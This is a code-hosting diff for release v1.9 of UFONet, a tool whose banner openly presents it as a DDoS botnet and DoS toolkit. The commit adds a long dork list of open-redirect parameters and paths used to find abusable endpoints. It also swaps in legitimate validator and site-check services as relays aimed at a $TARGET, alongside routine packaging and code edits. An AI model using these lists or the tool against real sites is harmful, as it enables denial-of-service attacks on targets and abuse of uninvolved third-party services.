瀏覽代碼

release v1.9 - F4ll0uT

psy 6 月之前
父節點
當前提交
7814931f14

+ 0 - 547
.pylintrc

@@ -1,547 +0,0 @@
-# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
-
-[MASTER]
-
-# Specify a configuration file.
-#rcfile=
-
-# Python code to execute, usually for sys.path manipulation such as
-# pygtk.require().
-init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
-
-# Add files or directories to the blacklist. They should be base names, not
-# paths.
-ignore=
-
-# Pickle collected data for later comparisons.
-persistent=no
-
-# List of plugins (as comma separated values of python modules names) to load,
-# usually to register additional checkers.
-load-plugins=
-
-# Use multiple processes to speed up Pylint.
-# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
-jobs=1
-
-# Allow loading of arbitrary C extensions. Extensions are imported into the
-# active Python interpreter and may run arbitrary code.
-unsafe-load-any-extension=no
-
-# A comma-separated list of package or module names from where C extensions may
-# be loaded. Extensions are loading into the active Python interpreter and may
-# run arbitrary code
-extension-pkg-whitelist=
-
-# Allow optimization of some AST trees. This will activate a peephole AST
-# optimizer, which will apply various small optimizations. For instance, it can
-# be used to obtain the result of joining multiple strings with the addition
-# operator. Joining a lot of strings can lead to a maximum recursion error in
-# Pylint and this flag can prevent that. It has one side effect, the resulting
-# AST will be different than the one from reality.
-optimize-ast=no
-
-
-[MESSAGES CONTROL]
-
-# Only show warnings with the listed confidence levels. Leave empty to show
-# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
-confidence=
-
-# Enable the message, report, category or checker with the given id(s). You can
-# either give multiple identifier separated by comma (,) or put this option
-# multiple time. See also the "--disable" option for examples.
-disable=all
-
-enable=import-error,
-       import-self,
-       reimported,
-       wildcard-import,
-       misplaced-future,
-       deprecated-module,
-       unpacking-non-sequence,
-       invalid-all-object,
-       undefined-all-variable,
-       used-before-assignment,
-       cell-var-from-loop,
-       global-variable-undefined,
-       redefine-in-handler,
-       unused-import,
-       unused-wildcard-import,
-       global-variable-not-assigned,
-       undefined-loop-variable,
-       global-at-module-level,
-       bad-open-mode,
-       redundant-unittest-assert,
-       boolean-datetime
-       deprecated-method,
-       anomalous-unicode-escape-in-string,
-       anomalous-backslash-in-string,
-       not-in-loop,
-       continue-in-finally,
-       abstract-class-instantiated,
-       star-needs-assignment-target,
-       duplicate-argument-name,
-       return-in-init,
-       too-many-star-expressions,
-       nonlocal-and-global,
-       return-outside-function,
-       return-arg-in-generator,
-       invalid-star-assignment-target,
-       bad-reversed-sequence,
-       nonexistent-operator,
-       yield-outside-function,
-       init-is-generator,
-       nonlocal-without-binding,
-       lost-exception,
-       assert-on-tuple,
-       dangerous-default-value,
-       duplicate-key,
-       useless-else-on-loop
-       expression-not-assigned,
-       confusing-with-statement,
-       unnecessary-lambda,
-       pointless-statement,
-       pointless-string-statement,
-       unnecessary-pass,
-       unreachable,
-       using-constant-test,
-       bad-super-call,
-       missing-super-argument,
-       slots-on-old-class,
-       super-on-old-class,
-       property-on-old-class,
-       not-an-iterable,
-       not-a-mapping,
-       format-needs-mapping,
-       truncated-format-string,
-       missing-format-string-key,
-       mixed-format-string,
-       too-few-format-args,
-       bad-str-strip-call,
-       too-many-format-args,
-       bad-format-character,
-       format-combined-specification,
-       bad-format-string-key,
-       bad-format-string,
-       missing-format-attribute,
-       missing-format-argument-key,
-       unused-format-string-argument
-       unused-format-string-key,
-       invalid-format-index,
-       bad-indentation,
-       mixed-indentation,
-       unnecessary-semicolon,
-       lowercase-l-suffix,
-       invalid-encoded-data,
-       unpacking-in-except,
-       import-star-module-level,
-       long-suffix,
-       old-octal-literal,
-       old-ne-operator,
-       backtick,
-       old-raise-syntax,
-       metaclass-assignment,
-       next-method-called,
-       dict-iter-method,
-       dict-view-method,
-       indexing-exception,
-       raising-string,
-       using-cmp-argument,
-       cmp-method,
-       coerce-method,
-       delslice-method,
-       getslice-method,
-       hex-method,
-       nonzero-method,
-       t-method,
-       setslice-method,
-       old-division,
-       logging-format-truncated,
-       logging-too-few-args,
-       logging-too-many-args,
-       logging-unsupported-format,
-       logging-format-interpolation,
-       invalid-unary-operand-type,
-       unsupported-binary-operation,
-       not-callable,
-       redundant-keyword-arg,
-       assignment-from-no-return,
-       assignment-from-none,
-       not-context-manager,
-       repeated-keyword,
-       missing-kwoa,
-       no-value-for-parameter,
-       invalid-sequence-index,
-       invalid-slice-index,
-       unexpected-keyword-arg,
-       unsupported-membership-test,
-       unsubscriptable-object,
-       access-member-before-definition,
-       method-hidden,
-       assigning-non-slot,
-       duplicate-bases,
-       inconsistent-mro,
-       inherit-non-class,
-       invalid-slots,
-       invalid-slots-object,
-       no-method-argument,
-       no-self-argument,
-       unexpected-special-method-signature,
-       non-iterator-returned,
-       arguments-differ,
-       signature-differs,
-       bad-staticmethod-argument,
-       non-parent-init-called,
-       bad-except-order,
-       catching-non-exception,
-       bad-exception-context,
-       notimplemented-raised,
-       raising-bad-type,
-       raising-non-exception,
-       misplaced-bare-raise,
-       duplicate-except,
-       nonstandard-exception,
-       binary-op-exception,
-       not-async-context-manager,
-       yield-inside-async-function
-
-# Needs investigation:
-# abstract-method (might be indicating a bug? probably not though)
-# protected-access (requires some refactoring)
-# attribute-defined-outside-init (requires some refactoring)
-# super-init-not-called (requires some cleanup)
-
-# Things we'd like to enable someday:
-# redefined-builtin (requires a bunch of work to clean up our code first)
-# redefined-outer-name (requires a bunch of work to clean up our code first)
-# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
-# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
-# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
-# function-redefined (@overload causes lots of spurious warnings)
-# too-many-function-args (@overload causes spurious warnings... I think)
-# parameter-unpacking (needed for eventual Python 3 compat)
-# print-statement (needed for eventual Python 3 compat)
-# filter-builtin-not-iterating (Python 3)
-# map-builtin-not-iterating (Python 3)
-# range-builtin-not-iterating (Python 3)
-# zip-builtin-not-iterating (Python 3)
-# many others relevant to Python 3
-# unused-variable (a little work to cleanup, is all)
-
-# ...
-[REPORTS]
-
-# Set the output format. Available formats are text, parseable, colorized, msvs
-# (visual studio) and html. You can also give a reporter class, eg
-# mypackage.mymodule.MyReporterClass.
-output-format=parseable
-
-# Put messages in a separate file for each module / package specified on the
-# command line instead of printing them on stdout. Reports (if any) will be
-# written in a file name "pylint_global.[txt|html]".
-files-output=no
-
-# Tells whether to display a full report or only the messages
-reports=no
-
-# Python expression which should return a note less than 10 (10 is the highest
-# note). You have access to the variables errors warning, statement which
-# respectively contain the number of errors / warnings messages and the total
-# number of statements analyzed. This is used by the global evaluation report
-# (RP0004).
-evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
-
-# Template used to display messages. This is a python new-style format string
-# used to format the message information. See doc for all details
-#msg-template=
-
-
-[LOGGING]
-
-# Logging modules to check that the string format arguments are in logging
-# function parameter format
-logging-modules=logging
-
-
-[FORMAT]
-
-# Maximum number of characters on a single line.
-max-line-length=100
-
-# Regexp for a line that is allowed to be longer than the limit.
-ignore-long-lines=^\s*(# )?<?https?://\S+>?$
-
-# Allow the body of an if to be on the same line as the test if there is no
-# else.
-single-line-if-stmt=no
-
-# List of optional constructs for which whitespace checking is disabled. `dict-
-# separator` is used to allow tabulation in dicts, etc.: {1  : 1,\n222: 2}.
-# `trailing-comma` allows a space between comma and closing bracket: (a, ).
-# `empty-line` allows space-only lines.
-no-space-check=trailing-comma,dict-separator
-
-# Maximum number of lines in a module
-max-module-lines=1000
-
-# String used as indentation unit. This is usually "    " (4 spaces) or "\t" (1
-# tab).
-indent-string='    '
-
-# Number of spaces of indent required inside a hanging  or continued line.
-indent-after-paren=4
-
-# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
-expected-line-ending-format=
-
-
-[TYPECHECK]
-
-# Tells whether missing members accessed in mixin class should be ignored. A
-# mixin class is detected if its name ends with "mixin" (case insensitive).
-ignore-mixin-members=yes
-
-# List of module names for which member attributes should not be checked
-# (useful for modules/projects where namespaces are manipulated during runtime
-# and thus existing member attributes cannot be deduced by static analysis. It
-# supports qualified module names, as well as Unix pattern matching.
-ignored-modules=thirdparty.six.moves
-
-# List of classes names for which member attributes should not be checked
-# (useful for classes with attributes dynamically set). This supports can work
-# with qualified names.
-ignored-classes=
-
-# List of members which are set dynamically and missed by pylint inference
-# system, and so shouldn't trigger E1101 when accessed. Python regular
-# expressions are accepted.
-generated-members=
-
-
-[VARIABLES]
-
-# Tells whether we should check for unused import in __init__ files.
-init-import=no
-
-# A regular expression matching the name of dummy variables (i.e. expectedly
-# not used).
-dummy-variables-rgx=_$|dummy
-
-# List of additional names supposed to be defined in builtins. Remember that
-# you should avoid to define new builtins when possible.
-additional-builtins=
-
-# List of strings which can identify a callback function by name. A callback
-# name must start or end with one of those strings.
-callbacks=cb_,_cb
-
-
-[SIMILARITIES]
-
-# Minimum lines number of a similarity.
-min-similarity-lines=4
-
-# Ignore comments when computing similarities.
-ignore-comments=yes
-
-# Ignore docstrings when computing similarities.
-ignore-docstrings=yes
-
-# Ignore imports when computing similarities.
-ignore-imports=no
-
-
-[SPELLING]
-
-# Spelling dictionary name. Available dictionaries: none. To make it working
-# install python-enchant package.
-spelling-dict=
-
-# List of comma separated words that should not be checked.
-spelling-ignore-words=
-
-# A path to a file that contains private dictionary; one word per line.
-spelling-private-dict-file=
-
-# Tells whether to store unknown words to indicated private dictionary in
-# --spelling-private-dict-file option instead of raising a message.
-spelling-store-unknown-words=no
-
-
-[MISCELLANEOUS]
-
-# List of note tags to take in consideration, separated by a comma.
-notes=FIXME,XXX,TODO
-
-
-[BASIC]
-
-# List of builtins function names that should not be used, separated by a comma
-bad-functions=map,filter,input
-
-# Good variable names which should always be accepted, separated by a comma
-good-names=i,j,k,ex,Run,_
-
-# Bad variable names which should always be refused, separated by a comma
-bad-names=foo,bar,baz,toto,tutu,tata
-
-# Colon-delimited sets of names that determine each other's naming style when
-# the name regexes allow several styles.
-name-group=
-
-# Include a hint for the correct naming format with invalid-name
-include-naming-hint=no
-
-# Regular expression matching correct function names
-function-rgx=[a-z_][a-z0-9_]{2,30}$
-
-# Naming hint for function names
-function-name-hint=[a-z_][a-z0-9_]{2,30}$
-
-# Regular expression matching correct variable names
-variable-rgx=[a-z_][a-z0-9_]{2,30}$
-
-# Naming hint for variable names
-variable-name-hint=[a-z_][a-z0-9_]{2,30}$
-
-# Regular expression matching correct constant names
-const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
-
-# Naming hint for constant names
-const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
-
-# Regular expression matching correct attribute names
-attr-rgx=[a-z_][a-z0-9_]{2,30}$
-
-# Naming hint for attribute names
-attr-name-hint=[a-z_][a-z0-9_]{2,30}$
-
-# Regular expression matching correct argument names
-argument-rgx=[a-z_][a-z0-9_]{2,30}$
-
-# Naming hint for argument names
-argument-name-hint=[a-z_][a-z0-9_]{2,30}$
-
-# Regular expression matching correct class attribute names
-class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
-
-# Naming hint for class attribute names
-class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
-
-# Regular expression matching correct inline iteration names
-inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
-
-# Naming hint for inline iteration names
-inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
-
-# Regular expression matching correct class names
-class-rgx=[A-Z_][a-zA-Z0-9]+$
-
-# Naming hint for class names
-class-name-hint=[A-Z_][a-zA-Z0-9]+$
-
-# Regular expression matching correct module names
-module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
-
-# Naming hint for module names
-module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
-
-# Regular expression matching correct method names
-method-rgx=[a-z_][a-z0-9_]{2,30}$
-
-# Naming hint for method names
-method-name-hint=[a-z_][a-z0-9_]{2,30}$
-
-# Regular expression which should only match function or class names that do
-# not require a docstring.
-no-docstring-rgx=^_
-
-# Minimum line length for functions/classes that require docstrings, shorter
-# ones are exempt.
-docstring-min-length=-1
-
-
-[ELIF]
-
-# Maximum number of nested blocks for function / method body
-max-nested-blocks=5
-
-
-[IMPORTS]
-
-# Deprecated modules which should not be used, separated by a comma
-deprecated-modules=regsub,TERMIOS,Bastion,rexec
-
-# Create a graph of every (i.e. internal and external) dependencies in the
-# given file (report RP0402 must not be disabled)
-import-graph=
-
-# Create a graph of external dependencies in the given file (report RP0402 must
-# not be disabled)
-ext-import-graph=
-
-# Create a graph of internal dependencies in the given file (report RP0402 must
-# not be disabled)
-int-import-graph=
-
-
-[DESIGN]
-
-# Maximum number of arguments for function / method
-max-args=5
-
-# Argument names that match this expression will be ignored. Default to name
-# with leading underscore
-ignored-argument-names=_.*
-
-# Maximum number of locals for function / method body
-max-locals=15
-
-# Maximum number of return / yield for function / method body
-max-returns=6
-
-# Maximum number of branch for function / method body
-max-branches=12
-
-# Maximum number of statements in function / method body
-max-statements=50
-
-# Maximum number of parents for a class (see R0901).
-max-parents=7
-
-# Maximum number of attributes for a class (see R0902).
-max-attributes=7
-
-# Minimum number of public methods for a class (see R0903).
-min-public-methods=2
-
-# Maximum number of public methods for a class (see R0904).
-max-public-methods=20
-
-# Maximum number of boolean expressions in a if statement
-max-bool-expr=5
-
-
-[CLASSES]
-
-# List of method names used to declare (i.e. assign) instance attributes.
-defining-attr-methods=__init__,__new__,setUp
-
-# List of valid names for the first argument in a class method.
-valid-classmethod-first-arg=cls
-
-# List of valid names for the first argument in a metaclass class method.
-valid-metaclass-classmethod-first-arg=mcs
-
-# List of member names, which should be excluded from the protected access
-# warning.
-exclude-protected=_asdict,_fields,_replace,_source,_make
-
-
-[EXCEPTIONS]
-
-# Exceptions that will emit a warning when being caught. Defaults to
-# "Exception"
-overgeneral-exceptions=Exception
-

+ 0 - 2
MANIFEST.in

@@ -1,2 +0,0 @@
-include docs/*
-include botnet/*

+ 0 - 32
Makefile

@@ -1,32 +0,0 @@
-PYTHON=`which python`
-DESTDIR=/
-BUILDIR=$(CURDIR)/debian/ufonet
-PROJECT=ufonet
-VERSION=1.8
-
-all:
-	@echo "make source - Create source package"
-	@echo "make install - Install on local system"
-	@echo "make buildrpm - Generate a rpm package"
-	@echo "make builddeb - Generate a deb package"
-	@echo "make clean - Get rid of scratch and byte files"
-
-source:
-	$(PYTHON) setup.py sdist $(COMPILE)
-
-install:
-	$(PYTHON) setup.py install --root $(DESTDIR) $(COMPILE)
-
-buildrpm:
-	$(PYTHON) setup.py bdist_rpm --post-install=rpm/postinstall --pre-uninstall=rpm/preuninstall
-
-builddeb:
-	$(PYTHON) setup.py sdist $(COMPILE) --dist-dir=../
-	rename -f 's/$(PROJECT)-(.*)\.tar\.gz/$(PROJECT)_$$1\.orig\.tar\.gz/' ../*
-	dpkg-buildpackage -i -I -rfakeroot
-
-clean:
-	$(PYTHON) setup.py clean
-	$(MAKE) -f $(CURDIR)/debian/rules clean
-	rm -rf build/ MANIFEST
-	find . -name '*.pyc' -delete

+ 12 - 42
README.md

@@ -80,48 +80,18 @@ on a direct-connect P2P architecture.
 
 
 #### Installing:
 #### Installing:
 
 
-  UFONet runs on many platforms. It requires Python (>=3) and the following libraries:
-
-       python3-pycurl - Python bindings to libcurl (Python 3)
-       python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
-       libgeoip-dev - Development files for the GeoIP library
-       libgeoip1 - non-DNS IP-to-country resolver library
-       python3-whois - Python module for retrieving WHOIS information - Python 3
-       python3-crypto - cryptographic algorithms and protocols for Python 3
-       python3-requests - elegant and simple HTTP library for Python3, built for human beings
-       python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
-
-  You can automatically get all required libraries using (as root):
-
-       python3 setup.py install
-
-  For manual installation, on Debian-based systems (ex: Ubuntu), run:
-
-       sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
-
-  On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
-
-       pip3 install GeoIP
-       pip3 install python-geoip
-       pip3 install pygeoip
-       pip3 install requests
-       pip3 install pycrypto
-       pip3 install pycurl
-       pip3 install whois
-       pip3 install scapy-python3
-
-####  Source libs:
-
-   * Python: https://www.python.org/downloads/
-   * PyCurl: http://pycurl.sourceforge.net/
-   * GeoIP: https://pypi.python.org/pypi/GeoIP/
-   * Python-geoip: https://pypi.org/project/python-geoip/
-   * Pygeoip: https://pypi.org/project/pygeoip/
-   * Whois: https://pypi.python.org/pypi/whois
-   * PyCrypto: https://pypi.python.org/pypi/pycrypto
-   * PyRequests: https://pypi.python.org/pypi/requests
-   * Scapy-Python3: https://pypi.org/project/scapy-python3/
-   * Leaflet: http://leafletjs.com/ (provided)
+  UFONet runs on many platforms:
+
+  You can try to automatically get all required libraries using (as root):
+
+       python3 setup.py
+
+  For manual installation, run:
+
+       sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-cryptography python3-requests libgeoip1 libgeoip-dev
+       python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore
+       python3 -m pip install pycurl --upgrade --root-user-action=ignore
+       python3 -m pip install GeoIP python-geoip pygeoip requests whois scapy pycryptodomex duckduckgo-search --ignore-installed --root-user-action=ignore
 
 
 ----------
 ----------
 
 

+ 1 - 1
botnet/aliens.txt

@@ -1 +1 @@
-https://gtmetrix.com/analyze.html;$POST;url
+https://isitdown.me/check_domain.php;$POST;domain

+ 184 - 0
botnet/dorks.txt

@@ -108,3 +108,187 @@ home_url=
 x-urlpath=
 x-urlpath=
 urlforward.aspx?Redir=
 urlforward.aspx?Redir=
 /url/
 /url/
+page=
+url=
+ret=
+r2=
+img=
+u=
+return=
+r=
+URL=
+next=
+redirect=
+redirectBack=
+AuthState=
+referer=
+redir=
+l=
+aspxerrorpath=
+image_path=
+ActionCodeURL=
+return_url=
+link=
+q=
+location=
+ReturnUrl=
+uri=
+referrer=
+returnUrl=
+forward=
+file=
+rb=
+end_display=
+urlact=
+from=
+goto=
+path=
+redirect_url=
+old=
+pathlocation=
+successTarget=
+returnURL=
+urlsito=
+newurl=
+Url=
+back=
+retour=
+odkazujuca_linka=
+r_link=
+cur_url=
+H_name=
+ref=
+topic=
+resource=
+returnTo=
+home=
+node=
+sUrl=
+href=
+linkurl=
+returnto=
+redirecturl=
+SL=
+st=
+errorUrl=
+media=
+destination=
+targeturl=
+return_to=
+cancel_url=
+doc=
+GO=
+ReturnTo=
+anything=
+FileName=
+logoutRedirectURL=
+list=
+startUrl=
+service=
+redirect_to=
+end_url=
+_next=
+noSuchEntryRedirect=
+context=
+returnurl=
+ref_url=
+/?page=
+/index.php?ret=
+/analytics/hit.php?r2=
+/api/thumbnail?img=
+/e.html?u=
+/actions/act_continueapplication.cfm?r=
+/redirect2/?url=
+/Shibboleth.sso/Logout?return=
+/ui/clear-selected/?next=
+/Home/Redirect?url=
+/jobs/?l=
+/Error.aspx?aspxerrorpath=
+/r.php?u=
+/services/logo_handler.ashx?image_path=
+/AddProduct.aspx?ActionCodeURL=
+/tools/login/default.asp?page=
+/spip.php?url=
+/usermanagement/mailGeneratedPassword?referer=
+/?return=
+/?redir=
+/simplesaml/module.php/core/loginuserpass.php?AuthState=
+/out.php?url=
+/affiche.php?uri=
+/redirector.php?url=
+/cgi/set_lang?referrer=
+/blog/click?url=
+/site.php?url=
+/download2.php?file=
+/jump.php?url=
+/redirect/?redirect=
+/admin/track/track?redirect=
+/switch.php?rb=
+/php-scripts/form-handler.php?end_display=
+/cg/rk/?url=
+/tosite.php?url=
+/cambioidioma.php?urlact=
+/accueil/spip.php?url=
+/IRB/sd/Rooms/RoomComponents/LoginView/GetSessionAndBack?redirectBack=
+/search?q=
+/default.aspx?URL=
+/initiate-sso-login/?redirect_url=
+/module.php/core/loginuserpass.php?AuthState=
+/authentication/check_login?old=
+/RedirectToDoc.aspx?URL=
+/shop/bannerhit.php?url=
+/acceptcookies/?ReturnUrl=
+/index.php?url=
+/publang?url=
+/home/helperpage?url=
+/widgets.aspx?url=
+/_lang/en?next=
+/application/en?url=
+/common/topcorm.do?pathlocation=
+/main/action?successTarget=
+/Videos/SetCulture?returnURL=
+/Localize/ChangeLang?returnUrl=
+/_goToSite.asp?urlsito=
+/redir?url=
+/admin/auth/logined?redirect=
+/linkforward?forward=
+/modules/babel/redirect.php?newurl=
+/umbraco/Surface/LanguageSurface/ChangeLanguage?Url=
+/langswitcher.php?url=
+/redirect/?url=
+/i18n/i18n_user_currencies/change_currency?back=
+/accessibilite/textBackUp/?retour=
+/fncBox.php?url=
+/all4shop-akcie.php?odkazujuca_linka=
+/openurl.php?url=
+/te3/out.php?u=
+/utils/set_language.html?return_url=
+/trigger.php?r_link=
+/home/lng?cur_url=
+/goto?url=
+/o.php?url=
+/link-master/19/follow?link=
+/hack.php?H_name=
+/bmad/namhoc.php?return=
+/maven/stats.asp?ref=
+/Main/WebHome?topic=
+/bin/fusion/imsLogin?resource=
+/languechange.aspx?url=
+/bloques/bannerclick.php?url=
+/changesiteversion-full?referer=
+/out.php?link=
+/bgpage?r=
+/signout?returnTo=
+/switch_lang.php?return_url=
+/nousername.php?redir=
+/i/logout?return=
+/util_goto_detail_home.cfm?home=
+/misc/oldmenu.html?from=
+/click.php?url=
+/bitrix/rdc/?goto=
+/?node=
+/setLanguage.php?return=
+/redirect/ad?url=
+/redirect.php?sUrl=
+/redirect?url=
+/url?url=

+ 1 - 1
botnet/droids.txt

@@ -1 +1 @@
-https://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true
+https://validator.w3.org/check?uri=$TARGET&charset=%28detect+automatically%29&doctype=Inline&group=0&verbose=1

+ 1 - 1
botnet/ucavs.txt

@@ -1 +1 @@
-https://website-down.com/
+https://www.isitdownrightnow.com/check.php?domain=

+ 1 - 1
botnet/zombies.txt

@@ -1 +1 @@
-https://validator.w3.org/nu/?doc=
+https://validator.w3.org/checklink?uri=

+ 1 - 1
core/herd.py

@@ -81,7 +81,7 @@ class Herd(object):
     # head count (+/- headless zombies)
     # head count (+/- headless zombies)
     # active thread count = 1 principal + 1/zombie
     # active thread count = 1 principal + 1/zombie
     def no_more_zombies(self):
     def no_more_zombies(self):
-        ac=threading.active_count()
+        ac=threading.active_count()-1
         options = self.ufonet.options
         options = self.ufonet.options
         if options.verbose == True:
         if options.verbose == True:
             if ac>self.living:
             if ac>self.living:

文件差異過大導致無法顯示
+ 0 - 1
core/images/favicon.txt


+ 168 - 139
core/main.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,8 +11,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
 import os, sys, re, traceback, random, time, threading, base64, string, math
 import os, sys, re, traceback, random, time, threading, base64, string, math
 import io, socket, ssl, cgi, json, gzip
 import io, socket, ssl, cgi, json, gzip
-from Crypto.Cipher import AES
+
 from hashlib import sha1, sha256
 from hashlib import sha1, sha256
+try:
+    from Cryptodome.Cipher import AES
+except:
+    print ("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
+    sys.exit()
 try:
 try:
     from urllib.parse import urlparse as urlparse
     from urllib.parse import urlparse as urlparse
 except:
 except:
@@ -60,12 +65,12 @@ class UFONet(object):
         self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
         self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
         self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
         self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
         self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
         self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
-        self.external_check_service1 = 'https://www.isitdownrightnow.com/' # set external check service 1 [OK! 23/07/2022]
-        self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 23/07/2022]
-        self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site [OK! 23/07/2022]
-        self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022]
-        self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
-        self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [23/07/2022]
+        self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain=' # set external check service 1 [OK! 20/08/2024]
+        self.external_check_service2 = 'https://isitdownorjustme.net/status/' # set external check service 2 [OK! 23/07/2022]
+        self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site [OK! 23/07/2022] [OK! 25/08/2024]
+        self.check_ip_service2 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022] [OK! 25/08/2024]
+        self.check_ip_service1 = 'https://ip.42.pl/ra' # set external check ip service 2 [OK! [23/07/2022] [OK! 25/08/2024]
+        #self.check_ip_service3 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020] [OK! 25/08/2024]
         self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
         self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
         self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
         self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
         self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
         self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
@@ -212,29 +217,29 @@ class UFONet(object):
         return self.options
         return self.options
 
 
     def banner_welcome(self):
     def banner_welcome(self):
-        print("                     ____                                                                        ")
-        print("          ||        / /\ \      ||              #===============================================#")
-        print("        -(00)-     + (XX) +   -(00)-            ||                                             ||")
-        print("   ||     ||   O ==*~~~~~~*== 0 ||        ||    ||  > Botnet [DDoS]   #  > Close Combat [DoS]  ||")
-        print(" -(00)-          (0)  XX  (0)           -(00)-  ||                                             ||")
-        print("   ||    _     _  \| (00) |/  _     _     ||    ||     |-> ZOMBIES    #     |-> LOIC           ||")
-        print("        (O)_  (O)  0'----'0  (O)  _(O)          ||     |-> DROIDS     #     |-> LORIS          ||")   
-        print("            |  |.''.( xx ).''.|  |              ||     |-> ALIENS     #     |-> UFOSYN         ||")
-        print("            .'.'  +X|'..'|X+  '.'.              ||     |-> UCAVs      #     |-> XMAS           ||")
-        print("     .-.  .' /'--.__|_00_|__.--'\ '.  .-.       ||     |-> X-RPCs     #     |-> NUKE           ||")
-        print("   +(O).)-|0|  \   x| ## |x   /  |0|-(.(O)+     ||     |-> DBSTRESS   #     |-> UFOACK         ||")
-        print("     `-'  '-'-._'-./ -00- \.-'_.-'-'  `-'       ||     |-> SPRAY      #     |-> UFORST         ||")
-        print("        _ | ||  '-.___||___.-'  || | _          ||     |-> SMURF      #     |-> DROPER         ||")
-        print("     .' _ | ||==O |   __   | O==|| | _ '.       ||     |-> TACHYON    #     |-> OVERLAP        ||")
-        print("    / .' ''.|  || | /_00_\ | ||  |.'' '. \      ||     |-> MONLIST    #     |-> PINGER         ||")
-        print(" _  | '###  |  =| | ###### | |=  |' ###  |  _   ||     |-> FRAGGLE    #     |-> UFOUDP         ||")
-        print("(0)-| |(0)| '.  0\||__**_ ||/0  .' |(0)| |-(0)  ||     |-> SNIPER     #                        ||")
-        print(" *  \ '._.'   '.  | \_##_/ |  .'   '._.' /  *   ||                                             ||")
-        print("     '.__ ____0_'.|__'--'__|.'_0____ __.'       #|=============================================|#")
-        print("    .'_.-|            YY            |-._'.      ||                                             ||")
-        print("                                                ||  -> [ UFONet: https://ufonet.03c8.net ] <-  ||") 
-        print("   + Class: PSYoPs / "+str(self.mothership_model)+" +     ||                                             ||")
-        print("                                                #|=============================================|#") 
+        print(r"                     ____                                                                        ")
+        print(r"          ||        / /\ \      ||              #===============================================#")
+        print(r"        -(00)-     + (XX) +   -(00)-            ||                                             ||")
+        print(r"   ||     ||   O ==*~~~~~~*== 0 ||        ||    ||  > Botnet [DDoS]   #  > Close Combat [DoS]  ||")
+        print(r" -(00)-     O|O  (0)  XX  (0)           -(00)-  ||                                             ||")
+        print(r"   ||  _____ |____\| (00) |/______|D___   ||    ||     |-> ZOMBIES    #     |-> LOIC           ||")
+        print(r"     O+!$(O)! (O)  0'----'0  (O) !(O)$!+O       ||     |-> DROIDS     #     |-> LORIS          ||")   
+        print(r"       |OO OO|  .''.( xx ).''.  |OO OO|         ||     |-> ALIENS     #     |-> UFOSYN         ||")
+        print(r"      **+***.'.'  +X|'..'|X+  '.'***+**.        ||     |-> UCAVs      #     |-> XMAS           ||")
+        print(r"     .-.  .' /'--.__|_00_|__.--'\ '.  .-.       ||     |-> X-RPCs     #     |-> NUKE           ||")
